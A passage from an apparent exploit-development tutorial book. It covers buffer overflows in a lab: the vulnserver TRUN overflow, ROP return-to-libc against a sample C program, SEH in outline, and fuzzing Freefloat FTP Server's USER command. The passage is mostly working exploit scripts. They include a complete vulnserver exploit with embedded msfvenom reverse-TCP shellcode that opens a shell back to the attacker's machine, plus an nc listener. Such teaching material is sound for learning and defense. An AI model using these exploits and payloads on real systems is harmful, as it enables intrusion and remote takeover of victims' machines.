buffer="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"

s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

Now, let's run vulnserver. Then, open the Immunity Debugger as an administrator. Navigate to File | Attach and select vulnserver: 



Click on Attach and hit the run program. Then run our exploit, and look at what happens inside the Immunity Debugger:



Let's take a look inside the registers:



Now, the EIP contains 396F4338. Let's try to find this pattern from our attacking machine:

./pattern_offset.rb -q 0x396f4338 -l 5000

The output for the preceding command can be seen in the following screenshot: 



So, to control the instruction pointer, we need to inject 2006 As. Then, we need 4 bytes to control the EIP register and the rest will be injected as a shellcode (5000-2006-4); that gives us 2990 characters. Let's try it to make sure we are going in the right direction:

#!/usr/bin/python
import socket

server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
buffer =''
buffer+= 'A'*2006
buffer+= 'B'*4
buffer+= 'C'*(5000-2006-4)
s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n') 
print s.recv(1024)
s.close()

This is what our payload should look like:



Close the Immunity Debugger and start the application again. Then, start the exploit code again. We should see Bs injected inside the EIP register:



It worked! I'm going to recheck again using the Immunity Debugger. Let's take a look inside the Registers (FPU):



Now we have control over the EIP register. Let's take a look inside the stack:



As you can see, there are our As, then 4 bytes of Bs that overflowed the EIP register, and  then 299*0 of Cs .

What we are going to do in the next chapter is inject a shellcode in those Cs.



            

            
        
    
        

                            
                    Summary

                
            
            
                
In this chapter, we went through fuzzing and how to get the program to crash. Then, we saw how to get the exact offset of the RIP register using the Metasploit Framework and a very simple method of injecting a shellcode. Finally, we went through a complete example of fuzzing and controlling the instruction pointer.

In the next chapter, we will continue with our example and see how to find a place for a shellcode and make it work. Also, we will learn more techniques in the buffer overflow.



            

            
        
    
        

                            
                    Exploit Development – Part 2

                
            
            
                
In this chapter, we will continue our topic about exploit development. First, we will continue and complete our previous example by injecting a shellcode. Then, we will talk about a new technique, which is used to avoid the NX protection mechanism (NX will be explained in the last chapter).

The following are the topics that we will cover in this chapter:


	Injecting shellcode

	Return-oriented programming

	Structured exception handler





            

            
        
    
        

                            
                    Injecting shellcode

                
            
            
                
Now, let's continue our example from the previous chapter. After we have control of the instruction pointer, what we need is to inject a shellcode and redirect the instruction pointer to point at it.

For that to happen, we will need to find a home for the shellcode. It's easy, actually; it just involves jumping to the stack. What we need now is to find that instruction:


	Start vulnserver, then start the Immunity Debugger as an administrator, and from the File menu, attach with vulnserver:






	Hit the run program icon and then right-click and select Search for; then, select All Commands in all modules to search for any instruction within the application itself or any related library:






	Then what we need to do is jump to the stack to execute our shellcode; so, let's search for the JMP ESP instruction and hit Find:






	Let's copy the address of JMP ESP from kernel32.dll 7DD93132, then re-run vulnserver inside the Immunity Debugger again, and hit the run program icon.



You can use any library, not just kernel32.dll. However, if you use the system's libraries, such as kernel32.dll, then the address will change each time Windows boots up due to the ASLR mechanism (which will be explained in the last chapter); but if you use a library related to the application and not related to the system, then the address will not change.


	Then, from the attacking machine, edit our exploit to be like this:



#!/usr/bin/python
import socket

server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
buffer =''
buffer+= 'A'*2006
buffer += '\x32\x31\xd9\x7d'
buffer+= 'C'*(5000-2006-4)
s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n') 
print s.recv(1024)
s.close()


	Then, run the exploit. The instruction pointer is not pointing at 43434343, which are our C characters:






	Now we are ready to insert our shellcode. Let's create one using the Metasploit Framework:



$ msfvenom -a x86 -platform Windows -p windows/shell_reverse_tcp LHOST=172.16.89.1 LPORT=4321 -b '\x00' -f python


	This command generates a reverse TCP shell to connect back to my attacking machine on port 4321:






	So, our final exploit should look like this:



#!/usr/bin/python
import socket
server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

junk = 'A'*2006             \\ Junk value to overflow the stack

eip = '\x32\x31\xd9\x7d'    \\ jmp esp

nops = '\x90'*64    \\ To make sure that jump will be inside our shellcode

shellcode = ""
shellcode += "\xbb\x6e\x66\xf1\x4c\xd9\xe9\xd9\x74\x24\xf4\x5a\x2b"
shellcode += "\xc9\xb1\x52\x31\x5a\x12\x83\xea\xfc\x03\x34\x68\x13"
shellcode += "\xb9\x34\x9c\x51\x42\xc4\x5d\x36\xca\x21\x6c\x76\xa8"
shellcode += "\x22\xdf\x46\xba\x66\xec\x2d\xee\x92\x67\x43\x27\x95"
shellcode += "\xc0\xee\x11\x98\xd1\x43\x61\xbb\x51\x9e\xb6\x1b\x6b"
shellcode += "\x51\xcb\x5a\xac\x8c\x26\x0e\x65\xda\x95\xbe\x02\x96"
shellcode += "\x25\x35\x58\x36\x2e\xaa\x29\x39\x1f\x7d\x21\x60\xbf"
shellcode += "\x7c\xe6\x18\xf6\x66\xeb\x25\x40\x1d\xdf\xd2\x53\xf7"
shellcode += "\x11\x1a\xff\x36\x9e\xe9\x01\x7f\x19\x12\x74\x89\x59"
shellcode += "\xaf\x8f\x4e\x23\x6b\x05\x54\x83\xf8\xbd\xb0\x35\x2c"
shellcode += "\x5b\x33\x39\x99\x2f\x1b\x5e\x1c\xe3\x10\x5a\x95\x02"
shellcode += "\xf6\xea\xed\x20\xd2\xb7\xb6\x49\x43\x12\x18\x75\x93"
shellcode += "\xfd\xc5\xd3\xd8\x10\x11\x6e\x83\x7c\xd6\x43\x3b\x7d"
shellcode += "\x70\xd3\x48\x4f\xdf\x4f\xc6\xe3\xa8\x49\x11\x03\x83"
shellcode += "\x2e\x8d\xfa\x2c\x4f\x84\x38\x78\x1f\xbe\xe9\x01\xf4"
shellcode += "\x3e\x15\xd4\x5b\x6e\xb9\x87\x1b\xde\x79\x78\xf4\x34"
shellcode += "\x76\xa7\xe4\x37\x5c\xc0\x8f\xc2\x37\x43\x5f\x95\xc6"
shellcode += "\xf3\x62\x25\xd9\xe2\xea\xc3\xb3\xf4\xba\x5c\x2c\x6c"
shellcode += "\xe7\x16\xcd\x71\x3d\x53\xcd\xfa\xb2\xa4\x80\x0a\xbe"
shellcode += "\xb6\x75\xfb\xf5\xe4\xd0\x04\x20\x80\xbf\x97\xaf\x50"
shellcode += "\xc9\x8b\x67\x07\x9e\x7a\x7e\xcd\x32\x24\x28\xf3\xce"
shellcode += "\xb0\x13\xb7\x14\x01\x9d\x36\xd8\x3d\xb9\x28\x24\xbd"
shellcode += "\x85\x1c\xf8\xe8\x53\xca\xbe\x42\x12\xa4\x68\x38\xfc"
shellcode += "\x20\xec\x72\x3f\x36\xf1\x5e\xc9\xd6\x40\x37\x8c\xe9"
shellcode += "\x6d\xdf\x18\x92\x93\x7f\xe6\x49\x10\x8f\xad\xd3\x31"
shellcode += "\x18\x68\x86\x03\x45\x8b\x7d\x47\x70\x08\x77\x38\x87"
shellcode += "\x10\xf2\x3d\xc3\x96\xef\x4f\x5c\x73\x0f\xe3\x5d\x56"

injection = junk + eip + nops + shellcode
s.send(('TRUN .' + injection + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n') 
print s.recv(1024)
s.close()


	Now, let's start vulnserver again. Then, set up a listener on our attacking machine:



$ nc -lp 4321


	It's time to try our exploit, and let's keep our eyes on the listener:



./exploit.py


	
Then, from our listener shell, we execute the following command:








	Let's confirm this using ipconfig:






	Now we have control over our victim machine!





            

            
        
    
        

                            
                    Return-oriented programming

                
            
            
                
What is return-oriented programming (ROP)?

Let's explain what ROP is in the simplest way. ROP is a technique used to exploit buffer overflow vulnerability even if NX is enabled. The ROP technique can pass NX protection techniques using ROP gadgets.

ROP gadgets are sequences of addresses for machine instructions, which are stored already in the memory. So, if we could change the flow of execution to one of these instructions, then we could take control over the application, and we can do so without uploading a shellcode. Also, ROP gadgets end with the ret instruction. If you don't get it yet, it's okay; we will perform an example to fully understand what ROP is.

So, what we need is to install ropper, which is a tool to find ROP gadgets within a binary. You can download it via its official repository on GitHub (https://github.com/sashs/Ropper), 
or you can follow the instructions given here:

 $ sudo apt-get install python-pip
 $ sudo pip install capstone
 $ git clone https://github.com/sashs/ropper.git
 $ cd ropper
 $ git submodule init
 $ git submodule update

Let's take a look at the next vulnerable code, which will print out, Starting /bin/ls. Execute the overflow function, which will take input from the user and then print it out along with the size of the input:

#include <stdio.h>
#include <unistd.h>

int overflow() 
{
    char buf[80];
    int r;
    read(0, buf, 500);
    printf("The buffer content %d, %s", r, buf);
    return 0;
}

int main(int argc, char *argv[]) 
{
    printf("Starting /bin/ls");
    overflow();
    return 0;
}

Let's compile it, but without disabling NX:

$ gcc -fno-stack-protector rop.c -o rop

Then, start gdb:

$ gdb ./rop

Now, let's confirm that NX is enabled:

$ peda checksec

The output of the preceding command can be seen in the following screenshot: 



Let's now perform fuzzing and controlling RIP using PEDA instead of the Metasploit Framework:

$ peda pattern_create 500 pattern

This will create a pattern of 500 characters and save a file named pattern. Now, let's read this pattern as input:

$ run < pattern

The output of the preceding command can be seen in the following screenshot: 



The program crashed. The next step is to examine the last element in the stack to calculate the offset of EIP:

$ x/wx $rsp

We got the last element in the stack as 0x41413741 (if you are using the same OS, this address should be the same). Now, let's see whether the offset of this pattern and the next offset will be the exact offset of RIP:

$ peda pattern_offset 0x41413741

The output of the preceding command can be seen in the following screenshot: 



So the exact offset of RIP will start from 105. Let's confirm that too:

#!/usr/bin/env python
from struct import *

buffer = ""
buffer += "A"*104 # junk
buffer += "B"*6
f = open("input.txt", "w")
f.write(buffer)

This code should overflow RIP registers with six B characters:

$ chmod +x exploit.py
$ ./exploit.py

Then, from inside GDB, run the following command:

$ run < input.txt

The output of the preceding command can be seen in the following screenshot: 



The preceding screenshot indicates that we are going in the right direction.

Since NX is enabled, we can't upload and run a shellcode, so let's use ROP with the return-to-libc technique, which enables us to use calls from libc itself, which could enable us to call the function. Here, we will use the system function to execute shell commands. Let's take a look at the system man page:

$ man 3 system

The output of the preceding command can be seen in the following screenshot: 



What we need is the address of the system function and also the location of the string of a shell command—luckily, we have that inside our /bin/ls code.

The only thing we did was copy the location of the string into the stack. Now, we need to find a way to copy the location to the RDI register to enable the system function to execute the ls command. So, we need the ROP gadget, which can extract the address of the string and copy it to the RDI register because the first argument should be in the RDI register.

Okay, let's start with the ROP gadget. Let's search for any ROP gadget related to the RDI register. Then, navigate to the location where you installed ropper:

$ ./Ropper.py --file /home/stack/buffer-overflow/rop/rop --search "%rdi"

The output of the preceding command can be seen in the following screenshot:



This ROP gadget is perfect: pop rdi; ret;, with the address 0x0000000000400653. Now, we need to find out where exactly the system function is in the memory, from inside GDB:

$ p system

The output of the preceding command can be seen in the following screenshot:



Now, we have also got the location of the system function with the address, 0x7ffff7a57590.

This address may be different on your operating system.

Let's get the location of the /bin/ls string, using GDB:

$ find "/bin/ls"

The output of the preceding command can be seen in the following screenshot:



Now, we have got the location to the string with the address, 0x400697.

The logical order of the stack should be:


	The address of the system function

	The string pointer, which will be popped to the RDI register

	The ROP gadget to extract pop, which is the last element in the stack to the RDI register



Now, we need to push them into the stack in reverse order, using our exploit code:

#!/usr/bin/env python
from struct import *

buffer = ""
buffer += "A"*104 # junk
buffer += pack("<Q", 0x0000000000400653) # <-- ROP gadget
buffer += pack("<Q", 0x400697) #  <-- pointer to "/bin/ls"
buffer += pack("<Q", 0x7ffff7a57590) # < -- address of system function

f = open("input.txt", "w")
f.write(buffer)

Let's run the script to update input.txt:

$ ./exploit.py

Then, from GDB, run the following command:

$ run < input.txt

The logical order of the stack should be as follows:



It worked! And as you can see, the ls command executed successfully. We found a way to get around NX protection and exploit this code.



            

            
        
    
        

                            
                    Structured exception handling

                
            
            
                
Structured exception handling (SEH) is simply an event that occurs during the execution of a code. We can see SEH in high-programming languages, such as C++ and Python. Take a look at the following code:

try:
    divide(6,0)
except ValueError:
    print "That value was invalid."

This is an example of dividing by zero, which will raise an exception. The program should change the flow of execution to something else, which is doing whatever inside it.

SEH consists of two parts:


	Exception registration record (SEH)

	Next exception registration record (nSEH)



They are pushed into the stack in reverse order. So now how to exploit SEH? It's as simple as a regular stack overflow:



This is what our exploit should look like. What we need exactly is to push an instruction, pop pop ret, into SEH to make a jump to nSEH. Then, push a jump instruction into nSEH to make a jump to the shellcode; so, our final shellcode should look like this:



We will cover a practical scenario in Chapter 11, Real-World Scenarios – Part 3, about exploiting SEH.



            

            
        
    
        

                            
                    Summary

                
            
            
                
Here, we have briefly discussed exploit development, starting from fuzzing and how to gain control over the instruction pointer. Then, we saw how to find a home for a shellcode and change the flow of execution to that shellcode. Finally, we talked about a technique called ROP for bypassing the NX protection technique, and took a quick look at SEH exploiting techniques.

In the next chapter, we will go through real-world scenarios and build an exploit for real applications.



            

            
        
    
        

                            
                    Real-World Scenarios – Part 1

                
            
            
                
Now we will recap this book by practicing fuzzing, controlling the instruction pointer, and injecting a shellcode using real targets. What I'll do is navigate through exploit-db.com and choose real targets from there.



            

            
        
    
        

                            
                    Freefloat FTP Server

                
            
            
                
Let's start with the Freefloat FTP Server v1.0, which you can download it from here:

https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip. Also, you can see the exploit on Windows XP at https://www.exploit-db.com/exploits/40711/.

The Freefloat FTP Server has many vulnerable parameters, which can be useful to practice on, and we will choose one of them here to do a full exercise:



Now, let's download it from https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip on our Windows machine and unzip it. Now, open its directory, then open Win32, and start the FTP server. It will show in the taskbar on the right-hand corner. Open it to see the configuration:



The vulnerable server is up and running on port 21. Let's confirm that from our attacking machine, using nc.

First, the IP address of our victim machine is 192.168.129.128:



Then from the attacking machine, execute the following command:

$ nc 192.168.129.128 21


The output of the preceding command can be seen in the following screenshot:



Let's try an anonymous access:

$ USER anonymous
$ PASS anonymous

The output of the preceding command can be seen in the following screenshot:



We are in! How about if we focus on the USER parameter?



            

            
        
    
        

                            
                    Fuzzing 

                
            
            
                
Since the manual way of using the nc command is not efficient, let's build a script to do so using the Python language:

#!/usr/bin/python
import socket
import sys

junk = 

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

Now, let's try the fuzzing phase with the USER parameter. Let's start with a junk value of 50:

#!/usr/bin/python
import socket
import sys

junk = 'A'*50

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

And from our victim machine, let's attach the Freefloat FTP Server inside the Immunity Debugger and hit the run program once:



Let's register the contents:



Then, make sure that the program is in the running state:



Now, let's run our exploit and then take a look at the Immunity Debugger:

$ ./exploit.py

The output of the preceding command can be seen in the following screenshot:



Nothing happened! Let's increase the junk value to 200:

#!/usr/bin/python
import socket
import sys

junk = 'A'*200

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

Let's re-run this exploit and watch the Immunity Debugger:

$ ./exploit.py

The output of the preceding command can be seen in the following screenshot:



Again nothing happened; let's increase to 500:

#!/usr/bin/python
import socket
import sys

junk = 'A'*500

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

Then, run the exploit:

$ ./exploit.py

The output of the preceding command can be seen in the following screenshot:



The program crashed! Let's take a look at the registers too:



The instruction pointer is filled with our junk:



The stack is also filled with the junk value as expected, which takes us to the next phase.



            

            
        
    
        

                            
                    Controlling the instruction pointer

                
            
            
                
In this phase, we will control the instruction pointer by calculating the exact offset of the EIP register.

Let's create the pattern as we did before, using Metasploit Framework:

$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_create.rb -l 500

The output of the preceding command can be seen in the following screenshot:



This is our pattern, so the exploit should look like this:

#!/usr/bin/python
import socket
import sys

